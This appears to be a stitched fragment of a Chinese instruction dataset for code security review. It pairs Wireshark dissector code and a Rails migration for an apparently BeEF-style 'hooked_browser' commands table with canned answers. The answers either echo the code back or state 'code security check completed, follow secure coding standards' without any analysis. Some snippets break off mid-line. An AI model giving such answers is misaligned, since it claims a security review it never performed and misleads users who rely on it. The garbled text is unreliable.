static int proto_tsdns = -1;

static int hf_tsdns_data = -1;
static int hf_tsdns_request = -1;
static int hf_tsdns_request_domain = -1;
static int hf_tsdns_response = -1;
static int hf_tsdns_response_ip = -1;
static int hf_tsdns_response_address = -1;
static int hf_tsdns_response_port = -1;

static expert_field ei_response_port_malformed = EI_INIT;

static gint ett_tsdns = -1;

static int dissect_tsdns(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{

  int         offset    = 0;
  gboolean    request   = FALSE;

  if (pinfo->destport == pinfo->match_uint) {
    request = TRUE;
  }

  col_set_str(pinfo->cinfo, COL_PROTOCOL, "TSDNS");

  int pLen = tvb_reported_length(tvb);

  if (request) {
    col_set_str(pinfo->cinfo, COL_INFO, "Request");
    col_append_fstr(pinfo->cinfo, COL_INFO, " %s", tvb_get_string_enc(pinfo->pool, tvb, 0, pLen - 5, ENC_ASCII));
  } else {
    col_set_str(pinfo->cinfo, COL_INFO, "Response");
    col_append_fstr(pinfo->cinfo, COL_INFO, " %s", tvb_get_string_enc(pinfo->pool, tvb, 0, pLen, ENC_ASCII));
  }

  proto_tree *tsdns_tree;
  proto_item *ti, *hidden_item, *address_item;

  ti = proto_tree_add_item(tree, proto_tsdns, tvb, offset, -1, ENC_NA);
  tsdns_tree = proto_item_add_subtree(ti, ett_tsdns);

  hidden_item = proto_tree_add_item(tsdns_tree, hf_tsdns_data, tvb, offset, -1, ENC_ASCII);
  proto_item_set_hidden(hidden_item);

  if (request...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

class CreateCommands < ActiveRecord::Migration[6.0]
  def change
    create_table :commands do |t|
      t.references :command_module
      t.references :hooked_browser
      t.text :data
      t.datetime :creationdate
      t.text :label
      t.boolean :instructions_sent, default: false
    end
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
class CreateCommands < ActiveRecord::Migration[6.0]
  def change
    create_table :commands do |t|
      t.references :command_module
      t.references :hooked_browser
      t.text :data
      t.datetime :creationdate
      t.text :label
      t.boolean :instructions_sent, default: false
    end
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* Do not modify this file. Changes will be overwritten.                      */
/* Generated automatically by the ASN.1 to Wireshark dissector compiler       */
/* packet-h323.c                                                              */
/* asn2wrs.py -L -p h323 -c ./h323.cnf -s ./packet-h323-template -D . -O ../.. RAS-PROTOCOL-TUNNEL.asn ROBUSTNESS-DATA.asn */

/* packet-h323.c
 * Routines for H.323 packet dissection
 * 2007  Tomas Kukosa
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/oids.h>
#include <epan/asn1.h>

#include "packet-per.h"
#include "packet-h225.h"
#include "packet-h323.h"

#define PNAME  "H.323"
#define PSNAME "H.323"
#define PFNAME "h323"

void proto_register_h323(void);
void proto_reg_handoff_h323(void);

/* Generic Extensible Framework */
gef_ctx_t* gef_ctx_alloc(wmem_allocator_t *pool, gef_ctx_t *parent, const gchar *type) {
  gef_ctx_t *gefx;

  gefx = wmem_new0(pool, gef_ctx_t);
  gefx->signature = GEF_CTX_SIGNATURE;
  gefx->parent = parent;
  gefx->type = type;
  return gefx;
}

gboolean gef_ctx_check_signature(gef_ctx_t *gefx) {
  return gefx && (gefx->signature == GEF_CTX_SIGNATURE);
}

gef_ctx_t* gef_ctx_get(void *ptr) {
  gef_ctx_t *gefx = (gef_ctx_t*)ptr;
  asn1_ctx_t *actx = (asn1_ctx_t*)ptr;

  if (!asn1_ctx_check_signature(actx))
    actx = NULL;

  if (actx)
    gefx = (gef_ctx_t *)actx->private_data;

  if (!gef_ctx_check_signature(gefx))
    gefx = NULL;

  return gefx;
}

void gef_ctx_update_key(wmem_allocator_t *pool, gef_ctx_t *gefx) {
  const gchar *parent_key;

  if (!gefx) return;
  parent_key = (gefx->parent) ? gefx->parent->key : NULL;
  gefx->key = wmem_strdup_printf(pool,
    "%s%s"    /* parent prefix */
    "%s%s%s"  /* type, id */
    "%s%s"    /* subid */,
    (parent_key) ? parent_key : "", (parent_key) ? "/" : "",
    (gefx->type)...